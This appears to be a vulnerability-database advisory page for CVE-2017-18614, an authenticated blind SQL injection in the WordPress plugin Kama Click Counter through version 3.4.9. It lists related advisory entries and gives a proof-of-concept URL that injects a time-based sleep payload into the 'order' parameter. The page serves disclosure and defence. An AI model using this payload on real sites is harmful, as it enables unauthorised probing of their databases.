Kama Click Counter <= 3.4.9 - Authenticated Blind SQL Injectio
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
![]() | CVE-2017-18614 | 13 Sep 201911:44 | – | cvelist |
![]() | CVE-2017-18614 | 13 Sep 201912:15 | – | nvd |
![]() | Kama Click Counter <= 3.4.9 - Authenticated Blind SQL Injection | 27 Feb 201700:00 | – | wpvulndb |
![]() | CVE-2017-18614 | 13 Sep 201912:15 | – | cve |
![]() | Sql injection | 13 Sep 201912:15 | – | prion |
Source | Link |
---|---|
seclists | www.seclists.org/fulldisclosure/2017/Feb/67 |
http://www.example.com/wp-admin/admin.php?page=kama-clic-counter&order_by=link_name&order=ASC%2c(select*from(select(sleep(30)))a)&paged=1
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo